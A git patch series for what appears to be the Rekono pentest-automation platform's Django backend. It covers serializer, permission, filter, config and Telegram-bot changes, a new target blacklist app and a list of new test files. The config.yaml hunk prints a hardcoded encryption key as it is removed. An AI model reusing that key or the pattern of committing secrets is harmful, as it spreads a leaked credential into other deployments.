b4dc51191..a9c0aa78b 100644 --- a/src/backend/tasks/serializers.py +++ b/src/backend/tasks/serializers.py @@ -2,37 +2,58 @@ from django.core.exceptions import ValidationError from executions.serializers import ExecutionSerializer +from processes.models import Process from processes.serializers import SimpleProcessSerializer -from rest_framework.serializers import ModelSerializer +from rest_framework.serializers import ModelSerializer, PrimaryKeyRelatedField +from targets.models import Target from targets.serializers import SimpleTargetSerializer from tasks.models import Task from tasks.queues import TasksQueue from tools.enums import Intensity as IntensityEnum from tools.fields import IntegerChoicesField -from tools.models import Intensity +from tools.models import Configuration, Intensity from tools.serializers import ConfigurationSerializer from users.serializers import SimpleUserSerializer -from wordlists.serializers import WordlistSerializer class TaskSerializer(ModelSerializer): - """Serializer to manage tasks via API.""" - - # TODO: return proper data, and expect just an ID - # target = SimpleTargetSerializer(many=False) - # process = SimpleProcessSerializer(many=False) - # configuration = ConfigurationSerializer(many=False) + target_id = PrimaryKeyRelatedField( + many=False, + write_only=True, + required=True, + source="target", + queryset=Target.objects.all(), + ) + target = SimpleTargetSerializer(many=False, read_only=True) + process_id = PrimaryKeyRelatedField( + many=False, + write_only=True, + required=False, + source="process", + queryset=Process.objects.all(), + ) + process = SimpleProcessSerializer(many=False, read_only=True) + configuration_id = PrimaryKeyRelatedField( + many=False, + write_only=True, + required=False, + source="configuration", + queryset=Configuration.objects.all(), + ) + configuration = ConfigurationSerializer(many=False, read_only=True) intensity = IntegerChoicesField(model=IntensityEnum, required=False) executor = SimpleUserSerializer(many=False, read_only=True) - # wordlists = WordlistSerializer(many=False, required=False) executions = ExecutionSerializer(many=False, read_only=True) class Meta: model = Task fields = ( "id", + "target_id", "target", + "process_id", "process", + "configuration_id", "configuration", "intensity", "executor", @@ -54,7 +75,6 @@ class Meta: "enqueued_at", "start", "end", - "wordlists", "executions", ) @@ -98,6 +118,5 @@ def create(self, validated_data: Dict[str, Any]) -> Task: Task: Created instance """ task = super().create(validated_data) - # TODO: Fix enqueue errors - # TasksQueue().enqueue(task) + TasksQueue().enqueue(task) return task diff --git a/src/backend/tools/parsers/nmap.py b/src/backend/tools/parsers/nmap.py index 9fe97394f..3f09189ef 100644 --- a/src/backend/tools/parsers/nmap.py +++ b/src/backend/tools/parsers/nmap.py @@ -4,7 +4,7 @@ from findings.enums import HostOS, PathType, PortStatus, Protocol, Severity from findings.models import Credential, Host, Path, Port, Technology, Vulnerability from libnmap.parser import NmapParser -from security.utils.input_validator import Regex +from security.input_validator import Regex from tools.parsers.base import BaseParser diff --git a/src/backend/tools/serializers.py b/src/backend/tools/serializers.py index 137435930..b6afa139a 100644 --- a/src/backend/tools/serializers.py +++ b/src/backend/tools/serializers.py @@ -36,7 +36,7 @@ class Meta: class ArgumentSerializer(ModelSerializer): - inputs = InputSerializer(many=True) + inputs = InputSerializer(many=True, read_only=True) class Meta: model = Argument @@ -52,7 +52,7 @@ class Meta: class SimpleConfigurationSerializer(ModelSerializer): stage = StageField(model=Stage) - outputs = OutputSerializer(many=True) + outputs = OutputSerializer(many=True, read_only=True) class Meta: model = Configuration @@ -60,9 +60,9 @@ class Meta: class ToolSerializer(LikeSerializer): - intensities = IntensitySerializer(many=True) - configurations = SimpleConfigurationSerializer(many=True) - arguments = ArgumentSerializer(many=True) + intensities = IntensitySerializer(many=True, read_only=True) + configurations = SimpleConfigurationSerializer(many=True, read_only=True) + arguments = ArgumentSerializer(many=True, read_only=True) class Meta: model = Tool @@ -97,4 +97,4 @@ class Meta: class ConfigurationSerializer(SimpleConfigurationSerializer): - tool = SimpleToolSerializer() + tool = SimpleToolSerializer(many=False, read_only=True) diff --git a/src/backend/users/models.py b/src/backend/users/models.py index 65cc73976..13352f881 100644 --- a/src/backend/users/models.py +++ b/src/backend/users/models.py @@ -1,6 +1,6 @@ import logging from datetime import datetime, timedelta -from typing import Any, cast +from typing import Any, List, cast from django.contrib.auth.models import AbstractUser, Group, UserManager from django.db import models @@ -14,8 +14,9 @@ ) from security.authentication.api import ApiToken from security.authorization.roles import Role -from security.utils.cryptography import generate_random_value, hash -from security.utils.input_validator import Regex, Validator +from security.cryptography.hashing import hash +from security.cryptography.random import generate_random_value +from security.input_validator import FutureDatetimeValidator, Regex, Validator from users.enums import Notification # Create your models here. @@ -190,12 +191,18 @@ def reset_password(self, user: Any, password: str) -> Any: user.save(update_fields=["otp", "otp_expiration", "is_active"]) return user - def invalidate_all_tokens(self, user: Any) -> Any: - for token in OutstandingToken.objects.filter(user=user).exclude( + def invalidate_all_tokens(self, user: Any, exclude_latest: bool = False) -> Any: + user_tokens = OutstandingToken.objects.filter(user=user) + tokens_to_remove = user_tokens.exclude( id__in=BlacklistedToken.objects.filter(token__user=user).values_list( "token_id", flat=True - ), - ): + ) + ) + if exclude_latest: + tokens_to_remove = tokens_to_remove.exclude( + token=user_tokens.order_by("-created_at").first().token + ) + for token in tokens_to_remove: BlacklistedToken.objects.create(token=token) return user @@ -231,6 +238,7 @@ class User(AbstractUser, BaseModel): otp_expiration = models.DateTimeField( blank=True, null=True, + validators=[FutureDatetimeValidator(code="otp_expiration")], ) notification_scope = models.TextField( # User notification preferences diff --git a/src/backend/wordlists/models.py b/src/backend/wordlists/models.py index 6d655e895..bcb963c0b 100644 --- a/src/backend/wordlists/models.py +++ b/src/backend/wordlists/models.py @@ -5,8 +5,8 @@ from framework.enums import InputKeyword from framework.models import BaseInput, BaseLike from rekono.settings import AUTH_USER_MODEL -from security.utils.file_handler import FileHandler -from security.utils.input_validator import Regex, Validator +from security.file_handler import FileHandler +from security.input_validator import Regex, Validator from targets.models import Target from wordlists.enums import WordlistType diff --git a/src/backend/wordlists/serializers.py b/src/backend/wordlists/serializers.py index f57babf6a..10b53c777 100644 --- a/src/backend/wordlists/serializers.py +++ b/src/backend/wordlists/serializers.py @@ -3,7 +3,7 @@ from framework.serializers import LikeSerializer from rekono.settings import CONFIG from rest_framework.serializers import FileField, ModelSerializer -from security.utils.file_handler import FileHandler +from security.file_handler import FileHandler from users.serializers import SimpleUserSerializer from wordlists.models import Wordlist From 35ce84810ee08f45ebe9a29a3640ece7d6a4c650 Mon Sep 17 00:00:00 2001 From: Pablo Santiago Date: Wed, 29 Nov 2023 20:31:13 +0100 Subject: [PATCH 032/141] Initial unit tests for API operations and fixes for all the problems found until the moment --- .gitignore | 1 + config.yaml | 2 +- src/backend/authentications/filters.py | 10 +- src/backend/authentications/models.py | 13 +- src/backend/authentications/serializers.py | 9 +- src/backend/findings/views.py | 13 +- src/backend/framework/fields.py | 19 +- src/backend/framework/views.py | 15 +- src/backend/parameters/filters.py | 9 +- src/backend/parameters/views.py | 6 - .../platforms/telegram_app/bot/commands.py | 2 +- .../telegram_app/bot/conversations.py | 5 +- .../platforms/telegram_app/bot/enums.py | 1 + .../bot/mixins/authentications.py | 16 +- .../telegram_app/bot/mixins/framework.py | 7 +- .../telegram_app/bot/mixins/target_ports.py | 26 +- src/backend/processes/filters.py | 16 +- src/backend/projects/views.py | 7 +- src/backend/rekono/config.py | 23 +- src/backend/rekono/properties.py | 19 - src/backend/rekono/settings.py | 3 +- src/backend/rekono/urls.py | 1 + .../security/authorization/permissions.py | 72 ++- src/backend/security/authorization/roles.py | 6 + src/backend/security/file_handler.py | 3 +- src/backend/security/input_validator.py | 59 --- src/backend/security/target_validator.py | 59 +++ src/backend/settings/fixtures/1_default.json | 3 +- src/backend/settings/models.py | 3 +- src/backend/settings/serializers.py | 15 - src/backend/settings/views.py | 2 +- src/backend/target_blacklist/__init__.py | 0 src/backend/target_blacklist/admin.py | 6 + src/backend/target_blacklist/apps.py | 16 + src/backend/target_blacklist/filters.py | 8 + .../fixtures/1_blacklist.json | 106 +++++ src/backend/target_blacklist/models.py | 20 + src/backend/target_blacklist/serializers.py | 9 + src/backend/target_blacklist/urls.py | 9 + src/backend/target_blacklist/views.py | 24 + src/backend/target_ports/filters.py | 5 +- src/backend/target_ports/models.py | 8 - src/backend/target_ports/serializers.py | 11 +- src/backend/target_ports/views.py | 3 - src/backend/targets/models.py | 5 +- src/backend/targets/serializers.py | 6 +- src/backend/tests/__init__.py | 0 src/backend/tests/cases.py | 91 ++++ .../tests/data/wordlists/default_wordlist.txt | 3 + .../data/wordlists/endpoints_wordlist.txt | 3 + .../data/wordlists/invalid_mime_type.txt | Bin 0 -> 4478 bytes .../data/wordlists/subdomains_wordlist.txt | 3 + src/backend/tests/framework.py | 96 ++++ src/backend/tests/test_api_tokens.py | 89 ++++ src/backend/tests/test_authentications.py | 120 +++++ src/backend/tests/test_parameters.py | 149 ++++++ src/backend/tests/test_processes.py | 271 +++++++++++ src/backend/tests/test_projects.py | 159 +++++++ src/backend/tests/test_security.py | 124 +++++ src/backend/tests/test_settings.py | 75 +++ src/backend/tests/test_target_blacklist.py | 101 ++++ src/backend/tests/test_target_ports.py | 148 ++++++ src/backend/tests/test_targets.py | 114 +++++ src/backend/tests/test_tools.py | 112 +++++ src/backend/tests/test_users.py | 445 ++++++++++++++++++ src/backend/tests/test_wordlists.py | 234 +++++++++ src/backend/tools/views.py | 9 +- src/backend/users/enums.py | 8 +- src/backend/users/models.py | 16 +- src/backend/users/serializers.py | 29 +- src/backend/users/urls.py | 21 +- src/backend/users/views.py | 22 +- src/backend/wordlists/apps.py | 2 +- src/backend/wordlists/serializers.py | 2 +- src/backend/wordlists/views.py | 1 - 75 files changed, 2822 insertions(+), 306 deletions(-) create mode 100644 src/backend/security/target_validator.py create mode 100644 src/backend/target_blacklist/__init__.py create mode 100644 src/backend/target_blacklist/admin.py create mode 100644 src/backend/target_blacklist/apps.py create mode 100644 src/backend/target_blacklist/filters.py create mode 100644 src/backend/target_blacklist/fixtures/1_blacklist.json create mode 100644 src/backend/target_blacklist/models.py create mode 100644 src/backend/target_blacklist/serializers.py create mode 100644 src/backend/target_blacklist/urls.py create mode 100644 src/backend/target_blacklist/views.py create mode 100644 src/backend/tests/__init__.py create mode 100644 src/backend/tests/cases.py create mode 100644 src/backend/tests/data/wordlists/default_wordlist.txt create mode 100644 src/backend/tests/data/wordlists/endpoints_wordlist.txt create mode 100644 src/backend/tests/data/wordlists/invalid_mime_type.txt create mode 100644 src/backend/tests/data/wordlists/subdomains_wordlist.txt create mode 100644 src/backend/tests/framework.py create mode 100644 src/backend/tests/test_api_tokens.py create mode 100644 src/backend/tests/test_authentications.py create mode 100644 src/backend/tests/test_parameters.py create mode 100644 src/backend/tests/test_processes.py create mode 100644 src/backend/tests/test_projects.py create mode 100644 src/backend/tests/test_security.py create mode 100644 src/backend/tests/test_settings.py create mode 100644 src/backend/tests/test_target_blacklist.py create mode 100644 src/backend/tests/test_target_ports.py create mode 100644 src/backend/tests/test_targets.py create mode 100644 src/backend/tests/test_tools.py create mode 100644 src/backend/tests/test_users.py create mode 100644 src/backend/tests/test_wordlists.py diff --git a/.gitignore b/.gitignore index e97a67b56..b3fb3bc11 100644 --- a/.gitignore +++ b/.gitignore @@ -136,6 +136,7 @@ dmypy.json ./wordlists/ ./logs/ /static/ +/src/backend/tests/home/ # Vue.JS node_modules/ diff --git a/config.yaml b/config.yaml index d6a528ded..ee3e984ad 100644 --- a/config.yaml +++ b/config.yaml @@ -15,7 +15,7 @@ security: - 127.0.0.1 - localhost - ::1 - encryption-key: El0oF_4RQWWu5qLCm225xdlKYbxexRNpcJ_DoAY5mmc= + encryption-key: null secret-key: null tools: cmseek: diff --git a/src/backend/authentications/filters.py b/src/backend/authentications/filters.py index b65fdbd4d..29af78742 100644 --- a/src/backend/authentications/filters.py +++ b/src/backend/authentications/filters.py @@ -1,13 +1,19 @@ from authentications.models import Authentication from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet +from projects.models import Project +from targets.models import Target class AuthenticationFilter(FilterSet): """FilterSet to filter and sort authentications entities.""" - target = ModelChoiceFilter(field_name="target_port__target") - project = ModelChoiceFilter(field_name="target_port__target__project") + target = ModelChoiceFilter( + queryset=Target.objects.all(), field_name="target_port__target" + ) + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="target_port__target__project" + ) class Meta: model = Authentication diff --git a/src/backend/authentications/models.py b/src/backend/authentications/models.py index 3077a6edd..cef0ebbf2 100644 --- a/src/backend/authentications/models.py +++ b/src/backend/authentications/models.py @@ -6,6 +6,7 @@ from framework.enums import InputKeyword from framework.models import BaseEncrypted, BaseInput from security.input_validator import Regex, Validator +from target_ports.models import TargetPort from targets.models import Target # Create your models here. @@ -28,6 +29,11 @@ class Authentication(BaseInput, BaseEncrypted): db_column="secret", ) type = models.TextField(max_length=8, choices=AuthenticationType.choices) + target_port = models.OneToOneField( + TargetPort, + related_name="authentication", + on_delete=models.CASCADE, + ) filters = [BaseInput.Filter(type=AuthenticationType, field="type")] _encrypted_field = "_secret" @@ -75,10 +81,9 @@ def __str__(self) -> str: Returns: str: String value that identifies this instance """ - value = "" - if hasattr(self, "target_port") and self.target_port: - value = f"{self.target_port.__str__()} -" - return value + self.name + return ( + f"{self.target_port.__str__()} - " if self.target_port else "" + ) + self.name @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/authentications/serializers.py b/src/backend/authentications/serializers.py index e0c79c1c6..b50785299 100644 --- a/src/backend/authentications/serializers.py +++ b/src/backend/authentications/serializers.py @@ -1,5 +1,3 @@ -from typing import Any, Dict - from authentications.models import Authentication from framework.fields import ProtectedSecretField from rest_framework.serializers import ModelSerializer @@ -19,9 +17,4 @@ class Meta: """Serializer metadata.""" model = Authentication - fields = ( - "id", - "name", - "secret", - "type", - ) + fields = ("id", "name", "secret", "type", "target_port") diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py index 3f9277aea..0f55bbfd7 100644 --- a/src/backend/findings/views.py +++ b/src/backend/findings/views.py @@ -1,5 +1,3 @@ -from typing import Any - from drf_spectacular.utils import extend_schema from findings.enums import OSINTDataType from findings.filters import ( @@ -78,12 +76,11 @@ def target(self, request: Request, pk: str) -> Response: serializer = TargetSerializer( data={"project": osint.get_project().id, "target": osint.data} ) - if serializer.is_valid(): - target = serializer.create(serializer.validated_data) # Target creation - return Response( - TargetSerializer(target).data, status=status.HTTP_201_CREATED - ) - return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + serializer.is_valid(raise_exception=True) + target = serializer.create(serializer.validated_data) + return Response( + TargetSerializer(target).data, status=status.HTTP_201_CREATED + ) return Response( "Target creation is not available for this OSINT data type", status=status.HTTP_400_BAD_REQUEST, diff --git a/src/backend/framework/fields.py b/src/backend/framework/fields.py index 1a0c7b527..ac828fac3 100644 --- a/src/backend/framework/fields.py +++ b/src/backend/framework/fields.py @@ -1,4 +1,4 @@ -from typing import Any, List +from typing import Any from drf_spectacular.types import OpenApiTypes from drf_spectacular.utils import extend_schema_field @@ -70,23 +70,6 @@ def to_internal_value(self, value: str) -> str: return value -@extend_schema_field({"type": "array", "items": {"type": "string"}}) -class StringAsListField(Field): - def __init__(self, validator: callable = None, separator: str = ",", **kwargs: Any): - self.validator = validator - self.separator = separator - super().__init__(**kwargs) - - def to_representation(self, value: str) -> List[str]: - return (value or "").split(self.separator) - - def to_internal_value(self, value: List[str]) -> str: - if self.validator: - for item in value: - self.validator(item) - return self.separator.join(value) - - @extend_schema_field(OpenApiTypes.STR) class IntegerChoicesField(Field): """Serializer field to manage IntegerChoices values.""" diff --git a/src/backend/framework/views.py b/src/backend/framework/views.py index ff37ccf34..69c9ddfb8 100644 --- a/src/backend/framework/views.py +++ b/src/backend/framework/views.py @@ -11,7 +11,7 @@ from rest_framework.request import Request from rest_framework.response import Response from rest_framework.serializers import Serializer -from rest_framework.viewsets import GenericViewSet, ModelViewSet +from rest_framework.viewsets import ModelViewSet from security.authorization.permissions import IsAuditor @@ -40,7 +40,10 @@ def _get_project_from_data( fields = project_field.split("__") data = data.get(fields[0], {}) for field in fields[1:]: - data = getattr(data, field) + if hasattr(data, field): + data = getattr(data, field) + else: + return None return data def get_queryset(self) -> None: @@ -73,6 +76,12 @@ def perform_create(self, serializer: Serializer) -> None: return super().perform_create(serializer) + def _method_not_allowed(self, method: str) -> Response: + return Response( + {"detail": f'Method "{method.upper()}" not allowed.'}, + status=status.HTTP_405_METHOD_NOT_ALLOWED, + ) + class LikeViewSet(BaseViewSet): """Base ViewSet that includes the like and dislike features.""" @@ -108,7 +117,7 @@ def like(self, request: Request, pk: str) -> Response: Response: HTTP Response """ self.get_object().liked_by.add(request.user) - return Response(status=status.HTTP_201_CREATED) + return Response(status=status.HTTP_204_NO_CONTENT) @extend_schema(request=None, responses={204: None}) # Permission classes is overrided to IsAuthenticated and IsAuditor, because currently only Tools, Processes and diff --git a/src/backend/parameters/filters.py b/src/backend/parameters/filters.py index 1b9b96d9e..8fdda898a 100644 --- a/src/backend/parameters/filters.py +++ b/src/backend/parameters/filters.py @@ -1,12 +1,15 @@ from django_filters.filters import ModelChoiceFilter from django_filters.rest_framework import FilterSet from parameters.models import InputTechnology, InputVulnerability +from projects.models import Project class InputTechnologyFilter(FilterSet): """FilterSet to filter and sort input Technology entities.""" - project = ModelChoiceFilter(field_name="target__project") + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="target__project" + ) class Meta: model = InputTechnology @@ -20,7 +23,9 @@ class Meta: class InputVulnerabilityFilter(FilterSet): """FilterSet to filter and sort input Vulnerability entities.""" - project = ModelChoiceFilter(field_name="target__project") + project = ModelChoiceFilter( + queryset=Project.objects.all(), field_name="target__project" + ) class Meta: model = InputVulnerability diff --git a/src/backend/parameters/views.py b/src/backend/parameters/views.py index 2eefe37f7..7dc3a78e9 100644 --- a/src/backend/parameters/views.py +++ b/src/backend/parameters/views.py @@ -24,9 +24,6 @@ class InputTechnologyViewSet(BaseViewSet): "delete", ] - # Project members field used for authorization purposes - # members_field = 'target__project__members' - class InputVulnerabilityViewSet(BaseViewSet): """InputVulnerability ViewSet that includes: get, retrieve, create, and delete features.""" @@ -42,6 +39,3 @@ class InputVulnerabilityViewSet(BaseViewSet): "post", "delete", ] - - # Project members field used for authorization purposes - # members_field = "target__project__members" diff --git a/src/backend/platforms/telegram_app/bot/commands.py b/src/backend/platforms/telegram_app/bot/commands.py index fa7f340ce..08df717cd 100644 --- a/src/backend/platforms/telegram_app/bot/commands.py +++ b/src/backend/platforms/telegram_app/bot/commands.py @@ -62,7 +62,7 @@ def _update_or_create_telegram_chat_async(self, chat_id: int) -> TelegramChat: telegram_chat, _ = TelegramChat.objects.update_or_create( defaults={ "user": None, - "otp": User.objects.generate_otp(), + "otp": User.objects.generate_otp(TelegramChat), "otp_expiration": User.objects.get_otp_expiration_time(), }, chat_id=chat_id, diff --git a/src/backend/platforms/telegram_app/bot/conversations.py b/src/backend/platforms/telegram_app/bot/conversations.py index 219578486..76be7f61e 100644 --- a/src/backend/platforms/telegram_app/bot/conversations.py +++ b/src/backend/platforms/telegram_app/bot/conversations.py @@ -99,12 +99,13 @@ def __init__(self, **kwargs: Any) -> None: self._save_project, self._ask_for_target, self._save_target, + self._ask_for_new_target_port, + self._create_target_port, self._ask_for_authentication_type, self._save_authentication_type, self._ask_for_new_authentication, self._create_authentication, - self._ask_for_new_target_port, - self._create_target_port, + self._reply_summary, ] super().__init__(**kwargs) diff --git a/src/backend/platforms/telegram_app/bot/enums.py b/src/backend/platforms/telegram_app/bot/enums.py index 578b5e072..096348765 100644 --- a/src/backend/platforms/telegram_app/bot/enums.py +++ b/src/backend/platforms/telegram_app/bot/enums.py @@ -12,6 +12,7 @@ class Context(Enum): COMMAND = "command" PROJECT = "project" TARGET = "target" + TARGET_PORT = "target_port" AUTHENTICATION_TYPE = "authentication_type" AUTHENTICATION = "authentication" TOOL = "tool" diff --git a/src/backend/platforms/telegram_app/bot/mixins/authentications.py b/src/backend/platforms/telegram_app/bot/mixins/authentications.py index 643db5e88..d1d539488 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/authentications.py +++ b/src/backend/platforms/telegram_app/bot/mixins/authentications.py @@ -37,16 +37,10 @@ async def _save_authentication_type( and update.callback_query.data and update.callback_query.data == self.no_authentication ): - return ( - await self._go_to_next_state( - update, - context, - self._get_current_state(self._ask_for_new_target_port), - ) - if hasattr(self, "_ask_for_new_target_port") - and (self._get_context_value(context, Context.COMMAND) or "").lower() - == self.new_port_command - else ConversationHandler.END + return await self._go_to_next_state( + update, + context, + self._get_next_state(self._create_authentication), ) else: return await self._go_to_next_state( @@ -84,6 +78,7 @@ async def _create_authentication( secret = None if name and " - " in name: name, secret = name.split(" - ", 1) + target_port = self._get_context_value(context, Context.TARGET_PORT) next_state, instance = await self._create( update, context, @@ -92,6 +87,7 @@ async def _create_authentication( "name": name, "secret": secret, "type": self._get_context_value(context, Context.AUTHENTICATION_TYPE), + "target_port": target_port.id if target_port else None, }, self._get_previous_state(self._create_authentication), self._get_next_state(self._create_authentication), diff --git a/src/backend/platforms/telegram_app/bot/mixins/framework.py b/src/backend/platforms/telegram_app/bot/mixins/framework.py index d0caaeb3b..f965369eb 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/framework.py +++ b/src/backend/platforms/telegram_app/bot/mixins/framework.py @@ -36,9 +36,10 @@ def _get_previous_state(self, method: callable) -> int: async def _go_to_next_state( self, update: Update, context: CallbackContext, next_state: int ) -> int: - if next_state != ConversationHandler.END and self._states_methods[ - next_state - ].__name__.startswith("_ask_for_"): + if next_state != ConversationHandler.END and ( + self._states_methods[next_state].__name__.startswith("_ask_for_") + or self._states_methods[next_state].__name__.startswith("_reply") + ): return await self._states_methods[next_state](update, context) return next_state diff --git a/src/backend/platforms/telegram_app/bot/mixins/target_ports.py b/src/backend/platforms/telegram_app/bot/mixins/target_ports.py index 7a4bc2f54..976d51392 100644 --- a/src/backend/platforms/telegram_app/bot/mixins/target_ports.py +++ b/src/backend/platforms/telegram_app/bot/mixins/target_ports.py @@ -36,26 +36,30 @@ async def _create_target_port( update, context, self._get_previous_state(self._create_target_port) ) target = self._get_context_value(context, Context.TARGET) - authentication = self._get_context_value(context, Context.AUTHENTICATION) - data = { - "target": target.id if target else None, - "port": port, - "path": None, - } - if authentication: - data["authentication"] = authentication.id next_state, instance = await self._create( update, context, TargetPortSerializer, - data, + { + "target": target.id if target else None, + "port": port, + "path": None, + }, self._get_previous_state(self._create_target_port), self._get_next_state(self._create_target_port), ) if instance: + self._add_context_value(context, Context.TARGET_PORT, instance) + return await self._go_to_next_state(update, context, next_state) + + async def _reply_summary(self, update: Update, context: Context) -> int: + target_port = self._get_context_value(context, Context.TARGET_PORT) + if target_port: await self._reply( update, - f"New target port *{instance.port}* has been created in target *{self._escape(instance.target.target)}*", + f"New target port *{target_port.port}* has been created in target *{self._escape(target_port.target.target)}*", ) self._remove_all_context_values(context) - return await self._go_to_next_state(update, context, next_state) + return await self._go_to_next_state( + update, context, self._get_next_state(self._reply_summary) + ) diff --git a/src/backend/processes/filters.py b/src/backend/processes/filters.py index ee0e380f8..86cf05c2b 100644 --- a/src/backend/processes/filters.py +++ b/src/backend/processes/filters.py @@ -2,11 +2,17 @@ from django_filters.rest_framework import FilterSet from framework.filters import LikeFilter from processes.models import Process, Step +from tools.models import Configuration, Tool +from users.models import User class ProcessFilter(LikeFilter): - configuration = ModelChoiceFilter(field_name="steps__configuration") - tool = ModelChoiceFilter(field_name="steps__configuration__tool") + configuration = ModelChoiceFilter( + queryset=Configuration.objects.all(), field_name="steps__configuration" + ) + tool = ModelChoiceFilter( + queryset=Tool.objects.all(), field_name="steps__configuration__tool" + ) stage = ChoiceFilter(field_name="steps__configuration__stage") tag = CharFilter(field_name="tags__name", lookup_expr="in") @@ -20,8 +26,10 @@ class Meta: class StepFilter(FilterSet): - owner = ModelChoiceFilter(field_name="process__owner") - tool = ModelChoiceFilter(field_name="configuration__tool") + owner = ModelChoiceFilter(queryset=User.objects.all(), field_name="process__owner") + tool = ModelChoiceFilter( + queryset=Tool.objects.all(), field_name="configuration__tool" + ) stage = ChoiceFilter(field_name="configuration__stage") tag = CharFilter(field_name="configuration__tool", lookup_expr="in") diff --git a/src/backend/projects/views.py b/src/backend/projects/views.py index 53afa0adc..f82eef394 100644 --- a/src/backend/projects/views.py +++ b/src/backend/projects/views.py @@ -37,11 +37,8 @@ def add_member(self, request: Request, pk: str) -> Response: project = self.get_object() serializer = ProjectMemberSerializer(data=request.data) serializer.is_valid(raise_exception=True) - try: - serializer.update(project, serializer.validated_data) - return Response(status=status.HTTP_201_CREATED) - except User.DoesNotExist: - return Response(status=status.HTTP_404_NOT_FOUND) + serializer.update(project, serializer.validated_data) + return Response(status=status.HTTP_201_CREATED) @action( detail=True, diff --git a/src/backend/rekono/config.py b/src/backend/rekono/config.py index 29d2f4d39..bb52774a9 100644 --- a/src/backend/rekono/config.py +++ b/src/backend/rekono/config.py @@ -1,4 +1,5 @@ import os +import shutil import sys from pathlib import Path from typing import Any, Optional @@ -13,12 +14,17 @@ def __init__(self) -> None: self.testing = "test" in sys.argv self.base_dir = Path(__file__).resolve().parent.parent self.home = self._get_home() + self.config_file = self._get_config_file() + if self.testing: + self.home = self.base_dir / "tests" / "home" self.reports = self.home / "reports" self.wordlists = self.home / "wordlists" self.logs = self.home / "logs" for path in [self.home, self.reports, self.wordlists, self.logs]: path.mkdir(exist_ok=True) - self.config_file = self._get_config_file() + if self.testing: + shutil.copy(self.config_file, self.home) + self.config_file = self._get_config_file() with self.config_file.open("r") as file: self._config_properties = yaml.safe_load(file) self.encryption_key = self._get_config(Property.ENCRYPTION_KEY) @@ -34,15 +40,12 @@ def __init__(self) -> None: setattr(self, property.name.lower(), self._get_config(property)) def _get_home(self) -> Path: - if self.testing: - return self.base_dir / "testing" / "home" - else: - home_from_config = Path(self._get_config(Property.REKONO_HOME)) - return ( - home_from_config - if home_from_config.is_dir() - else self.base_dir.parent.parent - ) + home_from_config = Path(self._get_config(Property.REKONO_HOME)) + return ( + home_from_config + if home_from_config.is_dir() + else self.base_dir.parent.parent + ) def _get_config_file(self) -> Path: for filename in [ diff --git a/src/backend/rekono/properties.py b/src/backend/rekono/properties.py index f0f4ba295..b12fb67c4 100644 --- a/src/backend/rekono/properties.py +++ b/src/backend/rekono/properties.py @@ -18,25 +18,6 @@ class Property(Enum): "security.allowed-hosts", ["localhost", "127.0.0.1", "::1"], ) - TARGET_BLACKLIST = ( - None, - None, - [ - "127.0.0.1", - "localhost", - "frontend", - "backend", - "postgres", - "redis", - "initialize", - "tasks-worker", - "executions-worker", - "findings-worker", - "emails-worker", - "telegram-bot", - "nginx", - ], - ) TRUSTED_PROXY = ("RKN_TRUSTED_PROXY", None, False) OTP_EXPIRATION_HOURS = (None, None, 24) DB_NAME = ("RKN_DB_NAME", "database.name", "rekono") diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 021058b37..25aa0463b 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -61,6 +61,7 @@ "projects", "security", "settings", + "target_blacklist", "target_ports", "targets", "tasks", @@ -210,7 +211,7 @@ ], "DEFAULT_PERMISSION_CLASSES": [ "rest_framework.permissions.IsAuthenticated", - "rest_framework.permissions.DjangoModelPermissions", + "security.authorization.permissions.RekonoModelPermission", "security.authorization.permissions.ProjectMemberPermission", "security.authorization.permissions.OwnerPermission", ], diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 1996bbfd4..5258b6e5e 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -37,6 +37,7 @@ path("api/", include("projects.urls")), path("api/", include("security.authentication.urls")), path("api/", include("settings.urls")), + path("api/", include("target_blacklist.urls")), path("api/", include("target_ports.urls")), path("api/", include("targets.urls")), path("api/", include("tasks.urls")), diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index 8beab7f8f..7ba73fead 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -2,13 +2,21 @@ from platforms.telegram_app.models import TelegramChat from processes.models import Process, Step -from rest_framework.permissions import BasePermission +from rest_framework.permissions import BasePermission, DjangoModelPermissions from rest_framework.request import Request from rest_framework.views import View from security.authorization.roles import Role from wordlists.models import Wordlist +class RekonoModelPermission(DjangoModelPermissions): + perms_map = { + **DjangoModelPermissions.perms_map, + "GET": ["%(app_label)s.view_%(model_name)s"], + "HEAD": ["%(app_label)s.view_%(model_name)s"], + } + + class IsNotAuthenticated(BasePermission): """Check if current user is not authenticated.""" @@ -80,22 +88,36 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: class OwnerPermission(BasePermission): """Check if current user can access an object based on HTTP method and creator user.""" - def get_details(self, obj: Any) -> Tuple[Any, str, bool]: # pragma: no cover - """Get object with creator user from object accessed by the current user. To be implemented by subclasses. - - Args: - obj (Any): Object that user is accessing + def _has_object_permission( + self, + request: Request, + view: View, + instance: Any, + owner_field: str, + allow_admin: bool, + ) -> bool: + return ( + not instance + or request.method == "GET" + or ( + hasattr(instance, owner_field) + and getattr(instance, owner_field) == request.user + ) + or (allow_admin and IsAdmin().has_permission(request, owner_field)) + ) - Returns: - Any: Object with creator user - """ - if obj.__class__ in [Wordlist, Process]: - return obj, "owner", True - elif obj.__class__ == Step: - return obj.process, "owner", True - elif obj.__class__ == TelegramChat: - return obj, "user", False - return None, "", False + def has_permission(self, request: Request, view: View) -> bool: + return ( + self._has_object_permission( + request, + view, + Process.objects.get(pk=request.data.get("process_id")), + "owner", + True, + ) + if view.__class__.__name__ == "StepViewSet" and request.method == "POST" + else True + ) def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: """Check if current user can access an object based on HTTP method and creator user. @@ -108,10 +130,16 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: Returns: bool: Indicate if user is authorized to make this request or not """ - instance, field, allow_admin = self.get_details(obj) - return ( - not instance - or 